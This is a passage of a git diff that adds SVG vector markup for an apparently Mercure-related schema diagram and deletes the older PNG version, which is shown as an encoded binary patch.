+</symbol>
+<symbol overflow="visible" id="glyph0-25">
+<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-26">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-27">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-28">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface66205">
+<rect x="0" y="0" width="584" height="204" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M -5 8 L 24 8 L 24 18 L -5 18 Z M -5 8 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.3 11.4 C 7.134375 11.4 7 11.534375 7 11.7 L 7 14.3 C 7 14.465625 7.134375 14.6 7.3 14.6 L 12.7 14.6 C 12.865625 14.6 13 14.465625 13 14.3 L 13 11.7 C 13 11.534375 12.865625 11.4 12.7 11.4 Z M 7.3 11.4 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="257" y="110.00217"/>
+  <use xlink:href="#glyph0-2" x="270.055556" y="110.00217"/>
+  <use xlink:href="#glyph0-3" x="278.388889" y="110.00217"/>
+  <use xlink:href="#glyph0-4" x="283.944444" y="110.00217"/>
+  <use xlink:href="#glyph0-5" x="291.166667" y="110.00217"/>
+  <use xlink:href="#glyph0-3" x="300.055556" y="110.00217"/>
+  <use xlink:href="#glyph0-2" x="305.611111" y="110.00217"/>
+  <use xlink:href="#glyph0-6" x="313.944444" y="110.00217"/>
+  <use xlink:href="#glyph0-7" x="318.388889" y="110.00217"/>
+  <use xlink:href="#glyph0-5" x="329.222222" y="110.00217"/>
+  <use xlink:href="#glyph0-8" x="338.111111" y="110.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.7 11 C -3.865625 11 -4 11.134375 -4 11.3 L -4 14.7 C -4 14.865625 -3.865625 15 -3.7 15 L 3.7 15 C 3.865625 15 4 14.865625 4 14.7 L 4 11.3 C 4 11.134375 3.865625 11 3.7 11 Z M -3.7 11 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="71.863281" y="97.302951"/>
+  <use xlink:href="#glyph0-10" x="80.474392" y="97.302951"/>
+  <use xlink:href="#glyph0-11" x="88.25217" y="97.302951"/>
+  <use xlink:href="#glyph0-12" x="101.585503" y="97.302951"/>
+  <use xlink:href="#glyph0-13" x="106.585503" y="97.302951"/>
+  <use xlink:href="#glyph0-14" x="115.474392" y="97.302951"/>
+  <use xlink:href="#glyph0-10" x="124.363281" y="97.302951"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="62.976563" y="122.701389"/>
+  <use xlink:href="#glyph0-16" x="71.032118" y="122.701389"/>
+  <use xlink:href="#glyph0-16" x="79.921007" y="122.701389"/>
+  <use xlink:href="#glyph0-17" x="88.809896" y="122.701389"/>
+  <use xlink:href="#glyph0-18" x="93.532118" y="122.701389"/>
+  <use xlink:href="#glyph0-4" x="97.976563" y="122.701389"/>
+  <use xlink:href="#glyph0-15" x="105.198785" y="122.701389"/>
+  <use xlink:href="#glyph0-19" x="113.25434" y="122.701389"/>
+  <use xlink:href="#glyph0-18" x="118.809896" y="122.701389"/>
+  <use xlink:href="#glyph0-13" x="123.25434" y="122.701389"/>
+  <use xlink:href="#glyph0-14" x="132.143229" y="122.701389"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 12 C 16.134375 12 16 12.134375 16 12.3 L 16 13.7 C 16 13.865625 16.134375 14 16.3 14 L 22.7 14 C 22.865625 14 23 13.865625 23 13.7 L 23 12.3 C 23 12.134375 22.865625 12 22.7 12 Z M 16.3 12 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-11" x="449.089844" y="110.00217"/>
+  <use xlink:href="#glyph0-13" x="462.423177" y="110.00217"/>
+  <use xlink:href="#glyph0-8" x="471.312066" y="110.00217"/>
+  <use xlink:href="#glyph0-18" x="480.200955" y="110.00217"/>
+  <use xlink:href="#glyph0-17" x="484.645399" y="110.00217"/>
+  <use xlink:href="#glyph0-2" x="489.367622" y="110.00217"/>
+  <use xlink:href="#glyph0-6" x="497.700955" y="110.00217"/>
+  <use xlink:href="#glyph0-15" x="502.145399" y="110.00217"/>
+  <use xlink:href="#glyph0-16" x="510.200955" y="110.00217"/>
+  <use xlink:href="#glyph0-16" x="519.089844" y="110.00217"/>
+  <use xlink:href="#glyph0-20" x="527.978733" y="110.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 9 C 16.134375 9 16 9.134375 16 9.3 L 16 10.7 C 16 10.865625 16.134375 11 16.3 11 L 22.7 11 C 22.865625 11 23 10.865625 23 10.7 L 23 9.3 C 23 9.134375 22.865625 9 22.7 9 Z M 16.3 9 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-21" x="447.292969" y="50.00217"/>
+  <use xlink:href="#glyph0-2" x="459.237413" y="50.00217"/>
+  <use xlink:href="#glyph0-8" x="467.570747" y="50.00217"/>
+  <use xlink:href="#glyph0-6" x="476.459635" y="50.00217"/>
+  <use xlink:href="#glyph0-8" x="480.90408" y="50.00217"/>
+  <use xlink:href="#glyph0-3" x="489.792969" y="50.00217"/>
+  <use xlink:href="#glyph0-13" x="495.348524" y="50.00217"/>
+  <use xlink:href="#glyph0-21" x="503.959635" y="50.00217"/>
+  <use xlink:href="#glyph0-20" x="515.90408" y="50.00217"/>
+  <use xlink:href="#glyph0-2" x="522.848524" y="50.00217"/>
+  <use xlink:href="#glyph0-3" x="531.181858" y="50.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 15 C 16.134375 15 16 15.134375 16 15.3 L 16 16.7 C 16 16.865625 16.134375 17 16.3 17 L 22.7 17 C 22.865625 17 23 16.865625 23 16.7 L 23 15.3 C 23 15.134375 22.865625 15 22.7 15 Z M 16.3 15 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-22" x="453.113281" y="170.00217"/>
+  <use xlink:href="#glyph0-13" x="457.835503" y="170.00217"/>
+  <use xlink:href="#glyph0-23" x="466.724392" y="170.00217"/>
+  <use xlink:href="#glyph0-6" x="475.057726" y="170.00217"/>
+  <use xlink:href="#glyph0-24" x="479.50217" y="170.00217"/>
+  <use xlink:href="#glyph0-2" x="488.391059" y="170.00217"/>
+  <use xlink:href="#glyph0-25" x="496.446615" y="170.00217"/>
+  <use xlink:href="#glyph0-18" x="504.224392" y="170.00217"/>
+  <use xlink:href="#glyph0-4" x="508.668837" y="170.00217"/>
+  <use xlink:href="#glyph0-2" x="515.613281" y="170.00217"/>
+  <use xlink:href="#glyph0-20" x="523.946615" y="170.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4 13 L 6.45 13 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.45 13.25 L 6.95 13 L 6.45 12.75 Z M 6.45 13.25 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 13 L 15 13 L 15 10 L 15.45 10 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 10.25 L 15.95 10 L 15.45 9.75 Z M 15.45 10.25 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 13 L 15 13 L 15 16 L 15.45 16 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 16.25 L 15.95 16 L 15.45 15.75 Z M 15.45 16.25 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13.050195 13 L 15.45 13 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 13.25 L 15.95 13 L 15.45 12.75 Z M 15.45 13.25 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-26" x="193.113281" y="95.517795"/>
+  <use xlink:href="#glyph0-27" x="202.00217" y="95.517795"/>
+  <use xlink:href="#glyph0-9" x="213.113281" y="95.517795"/>
+  <use xlink:href="#glyph0-23" x="221.724392" y="95.517795"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="369.089844" y="95.517795"/>
+  <use xlink:href="#glyph0-9" x="377.700955" y="95.517795"/>
+  <use xlink:href="#glyph0-28" x="386.312066" y="95.517795"/>
+</g>
+</g>
+</svg>
diff --git a/_images/mercure/schema.png b/_images/mercure/schema.png
deleted file mode 100644
index 4616046e5cc53e9540aaaf4d698bf28d34e033d7..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 333957
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
